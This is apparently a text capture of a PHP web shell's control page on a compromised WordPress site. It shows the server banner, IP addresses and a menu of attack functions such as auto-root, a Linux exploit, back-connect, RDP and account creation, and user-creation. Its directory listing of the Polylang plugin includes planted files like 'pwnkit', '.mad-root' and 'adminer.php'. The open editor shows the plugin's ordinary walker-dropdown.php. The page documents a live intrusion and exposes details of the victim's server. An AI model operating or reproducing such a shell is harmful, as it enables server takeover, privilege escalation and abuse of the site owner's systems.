Linux webd002.cluster130.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
Apache
: 10.130.40.2 | : 216.73.217.172
Cant Read [ /etc/named.conf ]
8.3.31
espacpq
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
espacpq /
www /
wp-content /
plugins /
polylang /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Capabilities
[ DIR ]
drwxr-xr-x
Model
[ DIR ]
drwxr-xr-x
Options
[ DIR ]
drwxr-xr-x
admin
[ DIR ]
drwxr-xr-x
frontend
[ DIR ]
drwxr-xr-x
install
[ DIR ]
drwxr-xr-x
integrations
[ DIR ]
drwxr-xr-x
modules
[ DIR ]
drwxr-xr-x
settings
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
adminer.php
0
B
-rw-r--r--
api.php
21.77
KB
-rw-r--r--
base.php
6.11
KB
-rw-r--r--
cache.php
2.4
KB
-rw-r--r--
class-polylang.php
8.34
KB
-rw-r--r--
constant-functions.php
1.81
KB
-rw-r--r--
cookie.php
3.03
KB
-rw-r--r--
crud-posts.php
12.82
KB
-rw-r--r--
crud-terms.php
8.75
KB
-rw-r--r--
default-term.php
6.44
KB
-rw-r--r--
filter-rest-routes.php
4.98
KB
-rw-r--r--
filters-links.php
5.64
KB
-rw-r--r--
filters-sanitization.php
3.23
KB
-rw-r--r--
filters-widgets-options.php
2.63
KB
-rw-r--r--
filters.php
12.94
KB
-rw-r--r--
format-util.php
3.04
KB
-rw-r--r--
functions.php
5.14
KB
-rw-r--r--
language-deprecated.php
7.13
KB
-rw-r--r--
language-factory.php
9.4
KB
-rw-r--r--
language.php
18.07
KB
-rw-r--r--
license.php
9.39
KB
-rw-r--r--
links-abstract-domain.php
3.16
KB
-rw-r--r--
links-default.php
3.03
KB
-rw-r--r--
links-directory.php
9.5
KB
-rw-r--r--
links-domain.php
2.91
KB
-rw-r--r--
links-model.php
6.52
KB
-rw-r--r--
links-permalinks.php
5.62
KB
-rw-r--r--
links-subdomain.php
2.16
KB
-rw-r--r--
links.php
1.38
KB
-rw-r--r--
mo.php
3.42
KB
-rw-r--r--
model.php
22.96
KB
-rw-r--r--
nav-menu.php
4.5
KB
-rw-r--r--
olt-manager.php
2.98
KB
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
query.php
7.73
KB
-rw-r--r--
rest-request.php
4.22
KB
-rw-r--r--
static-pages.php
6.27
KB
-rw-r--r--
switcher.php
10.97
KB
-rw-r--r--
term-slug.php
4.89
KB
-rw-r--r--
translatable-object-with-types...
1.03
KB
-rw-r--r--
translatable-object-with-types...
1.96
KB
-rw-r--r--
translatable-object.php
17.62
KB
-rw-r--r--
translatable-objects.php
3.71
KB
-rw-r--r--
translate-option.php
13.1
KB
-rw-r--r--
translated-object.php
18.93
KB
-rw-r--r--
translated-post.php
17.17
KB
-rw-r--r--
translated-term.php
14.82
KB
-rw-r--r--
walker-dropdown.php
3.77
KB
-rw-r--r--
walker-list.php
2.54
KB
-rw-r--r--
walker.php
2.38
KB
-rw-r--r--
widget-calendar.php
11.58
KB
-rw-r--r--
widget-languages.php
5.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : walker-dropdown.php
<?php /** * @package Polylang */ /** * Displays languages in a dropdown list * * @since 1.2 * @since 3.4 Extends `PLL_Walker` now. */ class PLL_Walker_Dropdown extends PLL_Walker { /** * Database fields to use. * * @see https://developer.wordpress.org/reference/classes/walker/#properties Walker::$db_fields. * * @var string[] */ public $db_fields = array( 'parent' => 'parent', 'id' => 'id' ); /** * Outputs one element. * * @since 1.2 * * @param string $output Passed by reference. Used to append additional content. * @param stdClass $element The data object. * @param int $depth Depth of the item. * @param array $args An array of additional arguments. * @param int $current_object_id ID of the current item. * @return void */ public function start_el( &$output, $element, $depth = 0, $args = array(), $current_object_id = 0 ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable $value_type = $args['value']; // Some data from the language object to be passed as HTML data attributes for fetching in JS. $data_lang = array( 'id' => $element->id, 'name' => $element->name, 'slug' => $element->slug, 'dir' => $element->is_rtl ?? '', ); $output .= sprintf( "\t" . '<option value="%1$s"%2$s%3$s data-lang="%5$s">%4$s</option>' . "\n", 'url' === $value_type ? esc_url( $element->$value_type ) : esc_attr( $element->$value_type ), ! empty( $element->locale ) ? sprintf( ' lang="%s"', esc_attr( $element->locale ) ) : '', selected( isset( $args['selected'] ) && $args['selected'] === $element->$value_type, true, false ), esc_html( $element->name ), esc_html( (string) wp_json_encode( $data_lang ) ) ); } /** * Starts the output of the dropdown list * * @since 1.2 * @since 2.6.7 Use $max_depth and ...$args parameters to follow the move of WP 5.3 * * List of parameters accepted in $args: * * flag => display the selected language flag in front of the dropdown if set to 1, defaults to 0 * value => the language field to use as value attribute, defaults to 'slug' * selected => the selected value, mandatory * name => the select name attribute, defaults to 'lang_choice' * id => the select id attribute, defaults to $args['name'] * class => the class attribute * disabled => disables the dropdown if set to 1 * * @param array $elements An array of `PLL_language` or `stdClass` elements. * @param int $max_depth The maximum hierarchical depth. * @param mixed ...$args Additional arguments. * @return string The hierarchical item output. * * @phpstan-param array<PLL_Language|stdClass> $elements */ public function walk( $elements, $max_depth, ...$args ) { // // phpcs:ignore WordPressVIPMinimum.Classes.DeclarationCompatibility.DeclarationCompatibility $output = ''; $this->maybe_fix_walk_args( $max_depth, $args ); $args = wp_parse_args( $args, array( 'value' => 'slug', 'name' => 'lang_choice' ) ); if ( ! empty( $args['flag'] ) ) { $current = wp_list_filter( $elements, array( $args['value'] => $args['selected'] ) ); $lang = reset( $current ); $output = sprintf( '<span class="pll-select-flag">%s</span>', empty( $lang->flag ) ? esc_html( $lang->slug ) : $lang->flag ); } $output .= sprintf( '<select name="%1$s"%2$s%3$s%4$s>' . "\n" . '%5$s' . "\n" . '</select>' . "\n", esc_attr( $args['name'] ), isset( $args['id'] ) && ! $args['id'] ? '' : ' id="' . ( empty( $args['id'] ) ? esc_attr( $args['name'] ) : esc_attr( $args['id'] ) ) . '"', empty( $args['class'] ) ? '' : ' class="' . esc_attr( $args['class'] ) . '"', disabled( empty( $args['disabled'] ), false, false ), parent::walk( $elements, $max_depth, $args ) ); return $output; } }
Close